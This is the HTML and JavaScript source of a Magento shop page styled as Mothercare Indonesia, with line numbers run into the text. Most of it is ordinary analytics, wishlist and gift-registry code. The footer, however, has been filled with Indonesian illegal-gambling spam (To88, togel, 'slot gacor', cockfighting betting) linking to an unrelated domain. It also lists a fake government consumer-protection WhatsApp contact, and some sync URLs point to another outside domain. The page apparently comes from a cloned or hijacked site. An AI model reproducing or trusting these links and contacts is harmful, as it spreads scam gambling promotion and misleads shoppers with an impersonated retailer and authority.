'item_category4': _category3, 14555 'item_variant': productVariant, 14556 'quantity': 1, 14557 'index': idxData 14558 }; 14559 itemsRecent.push(products); 14560 idxData++; 14561 }); 14562 window.dataLayer = window.dataLayer || []; 14563 dataLayer.push({ 14564 'event': 'view_item_list', 14565 'eventCategory': 'ecommerce', 14566 'eventAction': 'product_view', 14567 'eventLabel': 'Recently Viewed', 14568 'ecommerce': { 14569 'items': itemsRecent 14570 } 14571 }); 14572 } 14573 }); 14574 isDesktopRecentTrigger = true; 14575 } 14576 } 14577 } catch (err) { 14578 console.log('error recent view ga : ' + err.message); 14579 } 14580 }); 14581 $(document).on('click', '.recent.products-grid li a', function() { 14582 try { 14583 var linkProduct = $(this).attr('href'); 14584 var productIds = []; 14585 var _index = $(this).parents('.product-item').index() + 1; 14586 Object.keys(productList).forEach(function(key) { 14587 if (productList[key].url = linkProduct) { 14588 productIds.push(key); 14589 } 14590 }) 14591 sendRecentViewClick(productIds, _index) 14592 } catch (err) { 14593 console.log('error click recent view : ' + err.message); 14594 } 14595 }); 14596 $(document).on('click', '.recent.products-grid li img', function() { 14597 try { 14598 var parent = $(this).parents('.product-item'); 14599 var linkProduct = parent.find('a.product-item-link').attr('href'); 14600 var productIds = []; 14601 var _index = parent.index() + 1; 14602 Object.keys(productList).forEach(function(key) { 14603 if (productList[key].url = linkProduct) { 14604 productIds.push(key); 14605 } 14606 }) 14607 sendRecentViewClick(productIds, _index) 14608 } catch (err) { 14609 console.log('error click recent view : ' + err.message); 14610 } 14611 }); 14612 14613 function elementInView(elem) { 14614 return ($(window).height() + $(window).scrollTop()) > $(elem).offset().top; 14615 }; 14616 14617 function sendRecentViewClick(productIds, _index) { 14618 try { 14619 $.ajax({
14620 type: 'POST', 14621 url: window.location.origin + '/datalayer/ga/cartlayer', 14622 data: { 14623 'ids': productIds, 14624 'requestFrom': 'recent_view' 14625 }, 14626 success: function(data) { 14627 let _productName = data[0].product_name ? data[0].product_name : "Not Defined"; 14628 let _sku = data[0].sku ? data[0].sku : "Not Defined"; 14629 let _productPrice = data[0].price ? data[0].price : "Not Defined"; 14630 let _brand = data[0].origin_brand ? data[0].origin_brand : "Not Defined"; 14631 let _category = data[0].category ? data[0].category : "Not Defined"; 14632 let _category1 = data[0].category1 ? data[0].category1 : "Not Defined"; 14633 let _category2 = data[0].category2 ? data[0].category2 : "Not Defined"; 14634 let _category3 = data[0].category3 ? data[0].category3 : "Not Defined"; 14635 var products = [{ 14636 'item_name': _productName, 14637 'item_id': _sku, 14638 'price': _productPrice, 14639 'item_brand': _brand, 14640 'item_category': _category, 14641 'item_category2': _category1, 14642 'item_category3': _category2, 14643 'item_category4': _category3, 14644 'item_variant': "Not Defined", 14645 'index': _index, 14646 'quantity': 1 14647 }]; 14648 if (typeof productCart !== 'undefined') { 14649 productCart.push(products); 14650 } 14651 window.dataLayer = window.dataLayer || []; 14652 dataLayer.push({ 14653 'event': 'select_item', 14654 'eventCategory': 'ecommerce', 14655 'eventAction': 'product_click', 14656 'eventLabel': _productName, 14657 'ecommerce': { 14658 'items': products 14659 } 14660 }); 14661 } 14662 }); 14663 } catch (err) { 14664 console.log('error click recent view : ' + err.message); 14665 } 14666 } 14667 14668 function generateOptionProduct(cart, productName, productSku, productCategory) { 14669 try { 14670 var productPrice = $('.price-wrapper').attr('data-price-amount'); 14671 var productVariant = ''; 14672 if ($('.swatch-attribute.color .swatch-attribute-label').length > 0) { 14673 productVariant += $('.swatch-attribute.color .swatch-attribute-label').text().trim(); 14674 } 14675 if ($('.swatch-attribute.color .swatch-attribute-selected-option').length > 0) { 14676 productVariant += $('.swatch-attribute.color .swatch-attribute-selected-option').text().trim() + ' | '; 14677 } 14678 if ($('.swatch-attribute.size .swatch-attribute-label').length > 0) { 14679 productVariant += $('.swatch-attribute.size .swatch-attribute-label').text().trim(); 14680 } 14681 if ($('.swatch-attribute.size .swatch-attribute-selected-option').length > 0) { 14682 productVariant += $('.swatch-attribute.size .swatch-attribute-selected-option').text().trim(); 14683 } 14684 if (productVariant == '') { 14685 productVariant = 'Not Defined'; 14686 } 14687 $.ajax({
14688 type: 'POST', 14689 url: window.location.origin + '/datalayer/ga/cartlayer', 14690 data: { 14691 'product_sku': productSku, 14692 'typeProduct': 'sku' 14693 }, 14694 success: function(data) { 14695 console.log('data', data) 14696 let _productName = data.product_name ? data.product_name : "Not Defined"; 14697 let _sku = data.sku ? data.sku : "Not Defined"; 14698 let _productPrice = data.price ? data.price : "Not Defined"; 14699 let _brand = data.origin_brand ? data.origin_brand : "Not Defined"; 14700 let _category = data.category ? data.category : "Not Defined"; 14701 let _category1 = data.category1 ? data.category1 : "Not Defined"; 14702 let _category2 = data.category2 ? data.category2 : "Not Defined"; 14703 let _category3 = data.category3 ? data.category3 : "Not Defined"; 14704 var products = [{ 14705 item_name: _productName, 14706 item_id: productSku, 14707 price: productPrice, 14708 item_brand: _brand, 14709 item_category: _category, 14710 item_category2: 'Not Defined', 14711 item_category3: 'Not Defined', 14712 item_category4: 'Not Defined', 14713 item_variant: productVariant, 14714 quantity: String($('#qty').val()) 14715 }]; 14716 if (typeof productCart !== 'undefined') { 14717 productCart.push(products); 14718 } 14719 window.dataLayer = window.dataLayer || []; 14720 dataLayer.push({ 14721 'event': 'add_to_cart', 14722 'eventCategory': 'Ecommerce', 14723 'eventAction': 'add_to_cart', 14724 'eventLabel': productName, 14725 'ecommerce': { 14726 'items': products 14727 } 14728 }); 14729 let is_part_of_bundle = false; 14730 if ($('body').hasClass('page-product-bundle')) { 14731 _productPrice = $('.price-container.price-configured_price > span[data-price-type="finalPrice"] span').text() ? $('.price-container.price-configured_price > span[data-price-type="finalPrice"] span').text() : 0; 14732 _productPrice = _productPrice.replace("Rp ", ""); 14733 _productPrice = _productPrice.replace(".", ""); 14734 _productPrice = _productPrice.replace(".", ""); 14735 is_part_of_bundle = true; 14736 } 14737 // if (currentWwebsiteId == 3) { 14738 // branch.logEvent('ADD_TO_CART', { 14739 // "item_sku": productSku, 14740 // "item_title": _productName, 14741 // "item_final_price": _productPrice, 14742 // "item_original_price": _productPrice, 14743 // "item_id": data.id, 14744 // "is_part_of_bundle" : is_part_of_bundle, 14745 // "store_currency" : "IDR", 14746 // }, function(err) { 14747 // if (err) { 14748 // console.error('Error logging event:', err); 14749 // } else { 14750 // console.log('Successfully logged ADD_TO_CART.'); 14751 // } 14752 // }); 14753 // } 14754 } 14755 }); 14756 } catch (err) { 14757 console.log('error click add to cart : ' + err.message); 14758 } 14759 } 14760 }); 14761 </script>
14761 14762 </strong></div> 14763 <footer class="page-footer"><strong><a id="back-to-top" class="back-to-top"><span>Back to top</span></a> 14764 <!--<button id="back-to-top" class="back-to-top back-to-top-action">--> 14765 <!-- <i class="icon-up-thin"></i>--> 14766 <!-- Top--> 14767 <!--</button>--> 14768
14768<script data-breeze=""> 14769 require(['jquery'], function($) { 14770 $(function() { 14771 window.onscroll = function() { 14772 if (document.body.scrollTop > 400 || document.documentElement.scrollTop > 400) { 14773 $('#back-to-top').css('display', 'block'); 14774 } else { 14775 $('#back-to-top').css('display', 'none'); 14776 } 14777 }; 14778 $('#back-to-top').on('click', function() { 14779 document.body.scrollTop = 0; 14780 document.documentElement.scrollTop = 0; 14781 }); 14782 }); 14783 }); 14784 </script>
14784 14785 <style> 14786 #html-body [data-pb-style=DK3T6M7], 14787 #html-body [data-pb-style=EXLLNWK] { 14788 background-position: left top; 14789 background-size: cover; 14790 background-repeat: no-repeat; 14791 background-attachment: scroll 14792 } 14793 14794 #html-body [data-pb-style=EXLLNWK] { 14795 justify-content: flex-start; 14796 display: flex; 14797 flex-direction: column 14798 } 14799 14800 #html-body [data-pb-style=DK3T6M7] { 14801 align-self: stretch 14802 } 14803 14804 #html-body [data-pb-style=OAID5MY] { 14805 display: flex; 14806 width: 100% 14807 } 14808 14809 #html-body [data-pb-style=CEU4VQX], 14810 #html-body [data-pb-style=IQTQM3Q], 14811 #html-body [data-pb-style=PO3J8MC], 14812 #html-body [data-pb-style=WG4K5JH] { 14813 justify-content: flex-start; 14814 display: flex; 14815 flex-direction: column; 14816 background-position: left top; 14817 background-size: cover; 14818 background-repeat: no-repeat; 14819 background-attachment: scroll; 14820 width: 25%; 14821 align-self: stretch 14822 } 14823 14824 #html-body [data-pb-style=R8KNU7R] { 14825 text-align: left 14826 } 14827 </style> 14828 <div data-content-type="row" data-appearance="contained" data-element="main"> 14829 <div class="footer-content-mckanmo-desktop" data-enable-parallax="0" data-parallax-speed="0.5" data-background-images="{}" data-background-type="image" data-video-loop="true" data-video-play-only-visible="true" data-video-lazy-load="true" data-video-fallback-src="" data-element="inner" data-pb-style="EXLLNWK"> 14830 <div class="pagebuilder-column-group footer-main-column-mc" data-background-images="{}" data-content-type="column-group" data-appearance="default" data-grid-size="12" data-element="main" data-pb-style="DK3T6M7"> 14831 <div class="pagebuilder-column-line" data-content-type="column-line" data-element="main" data-pb-style="OAID5MY"> 14832 <div class="pagebuilder-column shop-with-us-column-mc" data-content-type="column" data-appearance="full-height" data-background-images="{}" data-element="main" data-pb-style="CEU4VQX"> 14833 <h4 class="heading-shop-with-us-kanmo-mc" data-content-type="heading" data-appearance="default" data-element="main">To88</h4> 14834 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14835 <p><a href="https://www.entretiendecheveuxafro.com/blog/">To 88</a></p> 14836 </div> 14837 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14838 <p><a href="https://www.entretiendecheveuxafro.com/blog/">SITUS TOGEL</a></p> 14839 </div> 14840 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14841 <p><a href="https://www.entretiendecheveuxafro.com/blog/">To88</a></p> 14842 </div> 14843 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14844 <p><a href="https://www.entretiendecheveuxafro.com/blog/">SLOT GACOR</a></p> 14845 </div> 14846 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14847 <p><a href="https://www.entretiendecheveuxafro.com/blog/">SABUNG AYAM</a></p> 14848 </div> 14849 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14850 <p><a href="https://www.entretiendecheveuxafro.com/blog/">To88 SLOT</a></p> 14851 </div> 14852 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14853 <p><a href="https://www.entretiendecheveuxafro.com/blog/">To88 LOGIN</a></p> 14854 </div> 14855 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14856 <p><a href="https://www.entretiendecheveuxafro.com/blog/">To88 DAFTAR</a></p> 14857 </div> 14858 </div> 14859 <div class="pagebuilder-column need-help-column-mc" data-content-type="column" data-appearance="full-height" data-background-images="{}" data-element="main" data-pb-style="PO3J8MC"> 14860 <h4 class="heading-need-help-kanmo-mc" data-content-type="heading" data-appearance="default" data-element="main">butuh bantuan? hubungi kami</h4> 14861 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14862 <p><a href="https://www.entretiendecheveuxafro.com/blog/">https://www.entretiendecheveuxafro.com/to88/</a></p> 14863 </div> 14864 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14865 <p><a href="https://www.entretiendecheveuxafro.com/blog/">bantuan dan faq</a></p> 14866 </div> 14867 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14868 <p><a href="tel:+6221123456777">
14868022 138 303 777</a></p> 14869 <p>24 Hours</p> 14870 </div> 14871 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14872 <div class="footer-desktop"> 14873 <p>https://www.entretiendecheveuxafro.com/to88/</p> 14874 <div style="display:flex;column-gap:20px"> 14875 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/"><img width="10" height="19" alt="facebook icon" src="https://www.mothercare.co.id/media/wysiwyg/mothercare/Vector_1_.png"></a> 14876 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/"><img width="24" height="25" alt="instagram icon" src="https://www.mothercare.co.id/media/wysiwyg/mothercare/upgrade_245_bxl_instagram-alt.png"></a> 14877 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/"> <img width="24" height="25" alt="youtube icon" src="https://www.mothercare.co.id/media/wysiwyg/mothercare/upgrade_245_bxl_youtube.png"></a> 14878 </div> 14879 </div> 14880 <style> 14881 .footer-desktop { 14882 display: block; 14883 } 14884 14885 .footer-mobile { 14886 display: none; 14887 } 14888 14889 @media screen and (max-width: 769px) { 14890 .footer-desktop { 14891 display: none !important; 14892 } 14893 14894 .footer-mobile { 14895 display: block; 14896 } 14897 } 14898 </style> 14899 </div> 14900 </div> 14901 <div class="pagebuilder-column download-ourapps-column-mc" data-content-type="column" data-appearance="full-height" data-background-images="{}" data-element="main" data-pb-style="IQTQM3Q"> 14902 <h4 class="heading-download-apps-kanmo-mc" data-content-type="heading" data-appearance="default" data-element="main">unduh aplikasi To88</h4> 14903 <div class="footer-apple-store-img" data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"><a href="https://www.entretiendecheveuxafro.com/to88/"><img width="400" height="200" loading="lazy" src="https://res.cloudinary.com/nv5gtohv/image/upload/v1788431861/T8O.png" alt="download app apple store"> 14904 </a></div> 14905 <div class="footer-google-play-img" data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"><a href="https://www.entretiendecheveuxafro.com/to88/"><img width="400" height="200" loading="lazy" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790673340/logo-to88.png" alt="download app google play"></a> 14906 <style> 14907 @media (min-width:768px) { 14908 .footer-google-play-img { 14909 width: 70%; 14910 } 14911 } 14912 </style> 14913 </div> 14914 <div class="footer-google-play-img" data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14915 <div class="footer-mobile" style="text-align:center;margin-top:15px;"> 14916 <p>ikuti kami di media sosial</p> 14917 <div style="display:flex;column-gap:20px;justify-content: center;"> 14918 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/"><img src="https://www.mothercare.co.id/media/wysiwyg/mothercare/Vector_1_.png" alt="facebook icon"></a> 14919 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/"><img src="https://www.mothercare.co.id/media/wysiwyg/mothercare/upgrade_245_bxl_instagram-alt.png" alt="instagram icon"></a> 14920 <a class="item" href="https://www.entretiendecheveuxafro.com/blog/"> <img src="https://www.mothercare.co.id/media/wysiwyg/mothercare/upgrade_245_bxl_youtube.png" alt="youtube icon"></a> 14921 </div> 14922 </div> 14923 </div> 14924 </div> 14925 <div class="pagebuilder-column accept-pay" data-content-type="column" data-appearance="full-height" data-background-images="{}" data-element="main" data-pb-style="WG4K5JH"> 14926 <h4 data-content-type="heading" data-appearance="default" data-element="main" data-pb-style="R8KNU7R">we accept</h4> 14927 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14928 <div class="footer-promo">
14929 <span><img loading="lazy" width="359" height="90" src="https://www.mothercare.co.id/media/wysiwyg/footer_payment_method.png" alt="mothercare payment method"></span> 14930 <span><a href="https://www.entretiendecheveuxafro.com/blog/"><img loading="lazy" width="117" height="60" style="max-height: 60px;margin:0 auto 15px;" src="https://res.cloudinary.com/t04uaud0/image/upload/v1790673340/logo-to88.png" alt="iso logo"></a></span> 14931 </div> 14932 <div> 14933 <span>Direktorat Jenderal Perlindungan Konsumen dan Tertib Niaga <br> Kementerian Perdagangan RI <br> WhatsApp: 0 22 138 303 777 </span> 14934 </div> 14935 <style> 14936 .cms-page-view .breadcrumbs { 14937 display: none; 14938 } 14939 </style> 14940 </div> 14941 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 14942 <style> 14943 .checkout-cart-index .cart-container .cart-summary .kredivo-label { 14944 display: block; 14945 } 14946 14947 .cms-page-view .breadcrumbs { 14948 display: none; 14949 } 14950 14951 .category-description .pagebuilder-banner-wrapper { 14952 width: 100%; 14953 height: 0; 14954 padding-top: 25%; 14955 } 14956 14957 @media screen and (max-width: 767px) { 14958 .category-description .pagebuilder-banner-wrapper { 14959 width: 100%; 14960 height: 0; 14961 padding-top: 50%; 14962 } 14963 14964 .accept-pay { 14965 width: 100% !important; 14966 text-align: left !important; 14967 margin-bottom: 15px; 14968 } 14969 } 14970 14971 @media only screen and (min-width: 1024px) { 14972 14973 .catalog-category-view .products-grid .product-items .product-item, 14974 .catalogsearch-result-index .products-grid .product-items .product-item, 14975 .catalog-category-view [data-appearance=carousel] .product-items .product-item, 14976 .catalogsearch-result-index [data-appearance=carousel] .product-items .product-item { 14977 margin: 0 26px 35px; 14978 } 14979 } 14980 </style> 14981 </div> 14982 </div> 14983 </div> 14984 </div> 14985 </div> 14986 </div> 14987 </strong></footer><strong> 14988 <!-- 14989<div id="giftreg-message-minicart" style="display: none;"> 14990 </div> --> 14991
14991<script type="text/javascript" data-breeze=""> 14992 require(['jquery', 'Magento_Ui/js/modal/modal'], function($, modal) { 14993 let dataMinicart = $('#giftreg-message-minicart'); 14994 let datapdp = $('#giftreg-message-pdp'); 14995 let formUrl = 'https://www.entretiendecheveuxafro.com/blog/'; 14996 // $('.action.showcart').click(function(){ 14997 // setTimeout(function(){ 14998 // $('#minicart-content-wrapper .block-content').find('#giftreg-message-minicart').remove(); 14999 // $(document).find('#minicart-content-wrapper .block-content .viewcart').after(dataMinicart) 15000 // dataMinicart.show(); 15001 // },500) 15002 // }) 15003 if ($('body').hasClass('catalog-product-view')) { 15004 $(document).find('.action.towishlist').after(datapdp); 15005 datapdp.show(); 15006 } 15007 var options = { 15008 type: 'popup', 15009 responsive: true, 15010 innerScroll: true, 15011 title: 'Example Modal', 15012 modalClass: 'giftmodalbox', 15013 buttons: [{ 15014 text: $.mage.__("ok"), 15015 class: '', 15016 click: function() { 15017 this.closeModal(); 15018 } 15019 }] 15020 }; 15021 $('.gift-pdp-button').click(function() { 15022 $("#modal-gift").modal(options).modal('openModal'); 15023 }) 15024 $('.giftSubmit').click(function() { 15025 if (!$('input[name=entity]:checked').val()) { 15026 $(this).prev('.mage-error').remove() 15027 $('.giftSubmit').before('<div class="mage-error">Please select gift registry event</div>'); 15028 } else { 15029 $('.giftLoader').show(); 15030 $(this).prop('disabled', true); 15031 let formData = $('#product_addtocart_form').serialize().split('&'); 15032 let giftForm = $('#giftForm'); 15033 giftForm.find('input[type="hidden"]').remove(); 15034 for (var i = 0; i < formData.length; i++) { 15035 let key = formData[i].split('='); 15036 let fname = key[0].replace('%5B', '[') 15037 fname = fname.replace('%5D', ']') 15038 giftForm.append('<input type="hidden" name="' + fname + '" value="' + key[1] + '" />') 15039 } 15040 giftForm.submit() 15041 } 15042 }) 15043 if ($('body').hasClass('catalog-product-view')) { 15044 let unec = $('.action.towishlist').attr('data-post'); 15045 let loginUrl = $('.notlogingift').attr('href'); 15046 $('.notlogingift').attr('href', loginUrl + '/referer/' + JSON.parse(unec).data.uenc) 15047 } 15048 }) 15049 </script>
15049 15050 <style type="text/css"> 15051 div#giftreg-message-pdp a { 15052 display: flex; 15053 align-items: center; 15054 justify-content: center; 15055 gap: 10px; 15056 padding: 17px; 15057 font-size: 16px; 15058 border: solid 1px #7d1616; 15059 border-radius: 5px; 15060 color: #7d1616; 15061 margin-top: 15px; 15062 width: 250px; 15063 } 15064 15065 .page-product-bundle #maincontent .column.main .product-info-wrapper .product-info-main .bundle-options-container div#giftreg-message-pdp a { 15066 width: 100%; 15067 } 15068 15069 .page-product-configurable #maincontent .column.main .product-info-wrapper .product-config form#product_addtocart_form .product-options-bottom .box-tocart .fieldset .actions { 15070 display: block; 15071 } 15072 15073 div#giftreg-message-pdp a img { 15074 width: 16.7px; 15075 } 15076 15077 #modal-gift input[type="radio"]:after { 15078 content: ''; 15079 display: block; 15080 width: 17px; 15081 height: 17px; 15082 background: white; 15083 position: absolute; 15084 left: -2px; 15085 top: -2px; 15086 border: solid thin #E8E8E8; 15087 } 15088 15089 #modal-gift input[type="radio"] { 15090 position: relative; 15091 } 15092 15093 #modal-gift li label { 15094 display: flex; 15095 gap: 10px; 15096 align-items: center; 15097 font-size: 16px; 15098 color: #7d1616; 15099 padding: 13px; 15100 } 15101 15102 #modal-gift input[type='button'] { 15103 width: 100%; 15104 background: #7d1616; 15105 color: #fff; 15106 margin-top: 34px; 15107 font-family: 'mothercare_2020-regular-webfont'; 15108 } 15109 15110 #modal-gift h1 { 15111 font-size: 32px; 15112 color: #7d1616; 15113 text-align: center; 15114 } 15115 15116 #modal-gift ul { 15117 max-height: 253px; 15118 overflow: auto; 15119 } 15120 15121 .giftmodalbox .modal-footer { 15122 display: none; 15123 } 15124 15125 #modal-gift input[type="radio"]:checked:before { 15126 content: ''; 15127 position: absolute; 15128 width: 4px; 15129 height: 7px; 15130 z-index: 1; 15131 border-bottom: solid thin #7d1616; 15132 border-right: solid thin #7d1616; 15133 transform: rotate(45deg); 15134 left: 5px; 15135 top: 2px; 15136 } 15137 15138 #modal-gift .giftLoader { 15139 text-align: center; 15140 position: absolute; 15141 top: 0; 15142 left: 0; 15143 right: 0; 15144 bottom: 0; 15145 background: rgba(255, 255, 255, 0.7); 15146 } 15147 15148 .giftmodalbox .modal-inner-content { 15149 position: relative; 15150 } 15151 15152 @media(min-width:1244px) { 15153 .catalog-product-view .product-config { 15154 width: 400px; 15155 } 15156 } 15157 15158 @media(max-width:767px) {
15159 .modal-inner-wrap { 15160 width: 100% !important; 15161 max-width: 100% !important; 15162 border-radius: 20px 20px 0 0 !important; 15163 } 15164 15165 .modal-slide, 15166 .modal-popup { 15167 padding: 0 !important; 15168 } 15169 15170 .modal-inner-content h1 { 15171 font-size: 26px !important; 15172 padding-top: 30px; 15173 } 15174 15175 .modal-header .action-close::before { 15176 width: 3.5rem; 15177 height: 2.5rem; 15178 } 15179 15180 #giftreg-message-pdp { 15181 width: 100%; 15182 } 15183 15184 .gift-pdp-button { 15185 padding: 5px 20px !important; 15186 } 15187 15188 div#giftreg-message-pdp a { 15189 width: 100%; 15190 } 15191 15192 .page-product-bundle #maincontent .column.main .product-info-wrapper .product-info-main .bundle-options-container div#giftreg-message-pdp a { 15193 width: 100%; 15194 } 15195 } 15196 </style><span data-bind="scope: 'personalData'" style="display:none;"> 15197 <!-- ko if: personalData().klevuSessionId --> 15198 <span id="klevu_sessionId" data-bind="text: personalData().klevuSessionId"></span> 15199 <!-- /ko --> 15200 <!-- ko if: personalData().klevuLoginCustomerGroup --> 15201 <span id="klevu_loginCustomerGroup" data-bind="text: personalData().klevuLoginCustomerGroup"></span> 15202 <!-- /ko --> 15203 <!-- ko if: personalData().klevuIdCode --> 15204 <span id="klevu_loginCustomerEmail" data-bind="text: personalData().klevuIdCode"></span> 15205 <!-- /ko --> 15206 <!-- ko if: personalData().klevuShopperIP --> 15207 <span id="klevu_shopperIP" data-bind="text: personalData().klevuShopperIP"></span> 15208 <!-- /ko --> 15209 </span> 15210
15210<script type="text/x-magento-init" data-breeze-processed="true"> {"*": {"Magento_Ui/js/core/app": {"components":{"personalData":{"component":"Klevu_Search\/js\/view\/personal-data"}}}}} 15211</script>
15211 15212
15212<script type="text/x-magento-init" data-breeze-processed="true"> { 15213 "*": { 15214 "Magento_Ui/js/core/app": { 15215 "components": { 15216 "storage-manager": { 15217 "component": "Magento_Catalog/js/storage-manager", 15218 "appendTo": "", 15219 "storagesConfiguration" : {"recently_viewed_product":{"requestConfig":{"syncUrl":"https:\/\/www.mothercare.co.id\/catalog\/product\/frontend_action_synchronize\/"},"lifetime":"1000","allowToSendRequest":"0"},"recently_compared_product":{"requestConfig":{"syncUrl":"https:\/\/akitasushiandhibachi.com\/catalog\/product\/frontend_action_synchronize\/"},"lifetime":"1000","allowToSendRequest":"0"},"product_data_storage":{"updateRequestConfig":{"url":"https:\/\/akitasushiandhibachi.com\/rest\/mothercare_website_bahasa\/V1\/products-render-info"},"requestConfig":{"syncUrl":"https:\/\/akitasushiandhibachi.com\/catalog\/product\/frontend_action_synchronize\/"},"allowToSendRequest":"0"}} } 15220 } 15221 } 15222 } 15223 } 15224</script>
15224 15225
15225<script id="form-tmpl-multiple" type="text/x-magento-template"> <form id="wishlist-hidden-form" method="post" action="<%- data.url %>" class="no-display"> 15226 <% if (data.itemId) { %> 15227 <input name="item_id" value="<%- data.itemId %>"> 15228 <% } %> 15229 <% if (data.wishlistId) { %> 15230 <input name="wishlist_id" value="<%- data.wishlistId %>"> 15231 <% } %> 15232 <% if (data.qty) { %> 15233 <input name="qty" value="<%- data.qty %>"> 15234 <% } %> 15235 <% if (data.item) { %> 15236 <input name="item" value="<%- data.item %>"> 15237 <% } %> 15238 <% if (data.entity) { %> 15239 <input name="entity" value="<%- data.entity %>"> 15240 <% } %> 15241 <% if (data.form_key) { %> 15242 <input name="form_key" value="<%- data.form_key %>"> 15243 <% } %> 15244 </form> 15245</script>
15245 15246
15246<script id="popup-tmpl" type="text/x-magento-template"> <div class="window wishlist overlay active"></div> 15247 <div id="<%- data.popupWishlistBlockId %>" class="window wishlist popup active"> 15248 <div class="popup-actions"> 15249 <div class="secondary"> 15250 <button type="button" 15251 title="<%- window.jQuery.mage.__('Close') %>" 15252 class="action close <%- data.btnCloseClass %>" 15253 data-dismiss="popup"> 15254 <span><%- data.translate.close %></span> 15255 </button> 15256 </div> 15257 </div> 15258 <div class="popup-header"> 15259 <strong class="title" id="popup-title"> 15260 <span> 15261 <% if (data.isEdit) { %> 15262 <%- data.translate.editWishlist %> 15263 <% } else { %> 15264 <%- data.translate.createNewWishlist %> 15265 <% } %> 15266 </span> 15267 </strong> 15268 </div> 15269 <div class="popup-content" id="popup-content"> 15270 <form id="<%- data.popupWishlistFormId %>" method="post" action="<%- data.url %>" class="form wishlist"> 15271 <input name="form_key" type="hidden" value="<%- data.formKey %>"> 15272 <fieldset class="fieldset"> 15273 <div class="field name"> 15274 <label for="wishlist-name" class="label"> 15275 <span><%- data.translate.wishListName %></span> 15276 </label> 15277 <div class="control"> 15278 <input id="wishlist-name" 15279 class="input-text" 15280 data-role="prompt-field" 15281 data-validate="{required:true}" 15282 type="text" 15283 name="name" 15284 maxlength="255" 15285 value="<%- data.name %>"> 15286 </div> 15287 </div> 15288 <div class="field choice"> 15289 <input id="wishlist-public" 15290 type="checkbox" 15291 name="visibility"<% if (data.isPublic) { %> checked=true<% } %>"> 15292 <label for="wishlist-public" class="label"> 15293 <span><%- data.translate.publicWishList %></span> 15294 </label> 15295 </div> 15296 <div class="actions-toolbar"> 15297 <div class="primary"> 15298 <button class="action save primary" type="submit" title="<%- window.jQuery.mage.__('Save') %>"> 15299 <span><%- data.translate.save %></span> 15300 </button> 15301 </div> 15302 <div class="secondary"> 15303 <button class="action cancel <%- data.btnCloseClass %>" type="button" title="<%- window.jQuery.mage.__('Cancel') %>"> 15304 <span><%- data.translate.cancel %></span> 15305 </button> 15306 </div> 15307 </div> 15308 </fieldset> 15309 </form> 15310 </div> 15311 </div> 15312</script>
15312 15313
15313<script id="split-btn-tmpl" type="text/x-magento-template"> <div class="split button wishlist"> 15314 <button type="button" data-post='<%- JSON.stringify(data.generalParams) %>' data-action="add-to-wishlist" class="label action split"> 15315 <span><%- data.buttonName %></span> 15316 </button> 15317 <button class="action toggle change" 15318 title="<%- window.jQuery.mage.__('Add to:') %>" 15319 type="button" 15320 data-mage-init='{"dropdown":{}}' 15321 data-toggle="dropdown" 15322 data-trigger-keypress-button="true"> 15323 <span><%- window.jQuery.mage.__('Add to:') %></span> 15324 </button> 15325 <ul class="items" data-target="dropdown"> 15326 <% _.each(data.wishlists, function(item) { %> 15327 <li class="item"> 15328 <% if (item.newClass) { %> 15329 <span role="button" 15330 tabindex="0" 15331 class="action <%- item.newClass %>" 15332 data-action-keypress="true" 15333 data-post-new-wishlist='<%- JSON.stringify(item.params) %>' 15334 data-action="add-to-wishlist"
15335 title="<%- item.name %>"> 15336 <span><%- item.name %></span> 15337 </span> 15338 <% } else { %> 15339 <span role="button" 15340 tabindex="0" 15341 data-action-keypress="true" 15342 data-post='<%- JSON.stringify(item.params) %>' 15343 data-action="add-to-wishlist" 15344 title="<%- item.name %>"> 15345 <%- item.name %> 15346 </span> 15347 <% } %> 15348 </li> 15349 <% }); %> 15350 </ul> 15351 </div> 15352</script>
15352 15353
15353<script type="text/x-magento-init" data-breeze-processed="true"> { 15354 "*": { 15355 "Magento_Ui/js/core/app": { 15356 "components": { 15357 "multipleWishlist": { 15358 "component": "Magento_MultipleWishlist/js/view/multiple-wishlist", 15359 "config": { 15360 "multipleWishlistOptions": { 15361 "createUrl": "https://www.entretiendecheveuxafro.com/blog/", 15362 "wishlistLink": ".action.towishlist" 15363 } 15364 } 15365 } 15366 } 15367 } 15368 } 15369 } 15370</script>
15370 15371 <div data-bind="scope: 'ajaxpro'"> 15372 <div id="ajaxpro-reinit" data-bind="html: bindBlock('reinit')"></div> 15373 </div> 15374 <div data-content-type="html" data-appearance="default" data-element="main" data-decoded="true"> 15375 <div style="font-size:12px;background: linear-gradient(to right, #000000, #fff);color: #fff;padding: 15px;text-align: center;">© Copyright 2026 To88 | Anakbaik All Rights Reserved.<div> 15376 <style> 15377 @media only screen and (max-width: 768px) { 15378 .catalog-product-view.page-product-configurable #maincontent .column.main .product-info-wrapper { 15379 gap: 0; 15380 } 15381 } 15382 15383 @media only screen and (max-width: 767px) { 15384 .page-product-configurable #maincontent .column.main .product-info-wrapper .page-title-wrapper.product h1.page-title { 15385 margin-top: 0; 15386 } 15387 } 15388 </style> 15389 </div> 15390
15390<script type="text/x-magento-init" data-init-lazy="submit" data-breeze-processed="true"> { 15391 "[data-role=tocart-form], .form.map.checkout": { 15392 "catalogAddToCart": { 15393 "submitForcePreventValidation": false } 15394 } 15395 } 15396</script>
